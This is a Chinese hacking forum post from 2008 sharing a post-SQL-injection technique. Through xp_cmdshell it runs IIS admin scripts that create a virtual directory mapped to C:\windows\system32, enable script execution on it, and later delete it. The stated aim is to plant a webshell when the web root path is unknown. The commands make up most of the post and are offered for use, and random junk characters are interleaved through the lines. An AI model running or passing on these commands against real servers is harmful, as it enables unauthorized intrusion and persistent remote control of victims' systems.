|
- 帖子
- 120
- 积分
- 470
- 威望
- 636
- 金钱
- 101
- 在线时间
- 31 小时
   
|
很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：
+ }. e5 u) A1 B- M& U" `. ^: |9 J$ P) Z( Z" b
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'' k) [" i' W, N5 k2 J
建立虚拟目录win,指向c:\windows\system32
+ g' y. L- |7 l% X9 z z( h3 Eexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
8 L, Q0 v4 x( w2 d# e6 G3 ^3 o让win句有解析asp脚本权限
# w! I. F# C/ r7 m
- U- @4 k- `/ p( a$ d7 Q uexec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"0 e+ h1 S/ {- z' Q, r6 h- i {; c
删除虚拟目录。
/ E9 a N p# y. k; h找不到web绝对路径的一种解决办法，" t! Y; O3 j6 ?2 s- t
$ y& b/ ~. D: L, M& \9 F6 L- q- _
403错误，表示虚拟目录建好了。。 |
-
1
评分人数
-
|
发表于 2008-10-22 14:38
| 
